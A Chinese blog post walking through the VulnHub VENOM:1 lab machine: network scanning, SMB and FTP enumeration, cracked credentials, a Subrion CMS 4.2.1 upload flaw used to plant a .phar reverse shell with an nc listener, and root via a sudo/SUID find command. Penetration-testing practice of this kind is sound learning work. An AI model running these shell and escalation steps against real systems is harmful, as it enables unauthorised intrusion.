vulnhub之VENOM:1

最新推荐文章于 2024-05-14 09:32:05 发布

冯·诺依曼

最新推荐文章于 2024-05-14 09:32:05 发布

阅读量529

点赞数 1

文章标签：安全 web安全网络

本文链接：https://blog.csdn.net/weixin_42478365/article/details/128768182

版权

1.信息收集

输入arp-scan 192.168.239.0/24探测存活的IP
在这里插入图片描述
使用nmap对192.168.239.166进行扫描，发现IP端口21、80、139、443、445。

在浏览器上访问http://192.168.239.166/，查看源码发现类似md5加密。

解密md5可以得到为hostinger。

输入enum4linux 192.168.239.166，进行SMB探测，可发现存在nathan、hostinger两个用户。
在这里插入图片描述
使用上述两个用户登录ftp，发现hostinger\hostinger可以登录成功，并发现存在hint.txt文件。
![在这里插入图片描述](https://img-blog.csdnimg.cn/8951d983e5894230a6991c33b2bcf
使用get hint.txt下载文件，并查看文件可得用户名为dora

解密可知为：E7r9t8@Q#h%Hy+M1234。在这里插入图片描述

2.漏洞利用

将venom.box加入/etc/hosts文件中，并访问http://venom.box/panel/，发现为Subrion CMS v4.2.1。
在这里插入图片描述
使用searchsploit Subrion CMS搜索发现存在文件上传漏洞

上网查询，可以看到Subrion CMS 4.2.1的上传漏洞为，后缀名可以是phar或pht。

并输入用户名\密码，dora\E7r9t8@Q#h%Hy+M1234登录成功，并上传自己木马。
在这里插入图片描述
本地监听nc -lvvp 1234，浏览器访问：http://venom.box/upload/php-reverse-shell.phar，反弹成功。

3.权限提升

切换用户为：hostinger
在这里插入图片描述
查看hostinger用户目录下无有用信息。

查看/var/www/html/subrion/backup，下存在.htaccess文件，打开发现类似于密码。

切换nathan用户，发现存在sudo提权，但禁止了su。

执行sudo id发现提权成功。

执行find / -perm -u=s -type f 2>/dev/null，发现存在SUID，find提权。
在这里插入图片描述
执行sudo find . -exec /bin/sh ; -quit，提权成功。